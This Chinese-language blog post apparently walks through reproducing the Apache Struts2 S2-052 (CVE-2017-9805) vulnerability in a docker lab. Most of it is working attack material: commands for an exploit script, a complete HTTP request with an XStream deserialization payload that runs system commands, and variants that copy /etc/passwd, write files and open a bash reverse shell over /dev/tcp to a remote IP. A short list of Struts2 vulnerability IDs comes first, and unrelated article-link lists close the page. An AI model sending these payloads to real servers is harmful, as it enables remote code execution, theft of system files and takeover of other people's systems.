Structs2框架已知的漏洞编号如下:
  • S2-005
  • S2-009
  • S2-016 (含S2-013)
  • S2-019
  • S2-020
  • S2-021
  • S2-032
  • S2-037(含S2-033)
  • DevMode
  • S2-045
  • S2-046
  • S2-048
  • S2-052
  • S2-055
  • S2-057
 
S2-052(CVE-2017-9805)环境:
 
访问 http://你的 IP 地址:端口号/
漏洞poc检测与利用
poc下载:
检测到漏洞存在:
python apache-struts-pwn.py -u 'http://192.168.190.135:8080/orders/3/edit'
漏洞利用写入文件
python apache-struts-pwn.py --exploit --url 'http://example.com/struts2-showcase/index.action' -c 'echo test > /tmp/apache-struts-pwn'
 
POST /orders/3 HTTP/1.1
Host: 192.168.190.135:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/xml
Content-Length: 2415
Connection: close
Referer: http://192.168.190.135:8080/orders/3/edit
Cookie: JSESSIONID=8FCB55C3A30CB6059D3530A01C3E6FA0
Upgrade-Insecure-Requests: 1
DNT: 1
 
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>touch</string>
<string>/tmp/success</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
 
 
 
 
以上数据包成功执行的话,会在docker容器内创建文件/tmp/success,
执行docker-compose exec struts2 ls /tmp/即可看到。
docker-compose exec struts2 ls /tmp/
读文件:
<command> <string>cp</string> <string>/etc/passwd</string> <string>/tmp/passwd</string> </command>
 
写文件:
<command>
<string>bash</string>
<string>-c</string>
<string>echo micr067 > /tmp/test.txt</string>
</command>
反弹shell:
<command> <string>bash</string> <string>-c</string> <string>bash -i >&; /dev/tcp/192.168.190.130/1521 0>&;1</string> </command>
 
参考链接:
 
 

最新文章

  1. Hyper-v 安装CentOS 7 (其他虚拟机一样参考)
  2. Hbase can&#39;t get locations问题
  3. java的内省(introspector)
  4. [DevExpress]ChartControl之创建X,Y轴Title示例
  5. Codeforces Round #425 (Div. 2)C
  6. hdu_3068 最长回文(Manacher算法)
  7. com.mysql.jdbc.Driver和com.mysql.cj.jdbc.Driver的区别
  8. map函数、filer函数、reduce函数的用法和区别
  9. zookeeper、solrcloud、rediscluster集群解决方案
  10. 有一个IT男友是怎么样体验呢?
  11. 设计模式——proxy代理模式
  12. 《Linux课本》读书笔记 第十七章 模块
  13. FreeMarker has_content等价于StringUtils.isNotNullOrEmpty
  14. java中JDBC连接数据库操作的基本步骤
  15. 超漂亮的CSS3按钮制作教程分享
  16. centos7配置java环境
  17. Linux系统——PXE高效能批量网络装机
  18. python中copy 与 &#39;=&#39; 的区别
  19. LWIP
  20. 【ASP.NET Core】ASP.NET Core 依赖注入

热门文章

  1. 一张图了解.Net Core和.NetFx和.Net Standard和Xamarin关系
  2. JavaScript算法模式——动态规划和贪心算法
  3. c# webapi结合swagger的使用
  4. CodeForces 223C Partial Sums 多次前缀和
  5. Oracle 优化器_表连接
  6. 实现一个基于码云的Storage
  7. 深入理解 ThreadLocal
  8. 试试 IEnumerable 的另外 6 个小例子
  9. Oracle 11g Rac 用rman实现把本地数据文件迁移到ASM共享存储中
  10. math库的使用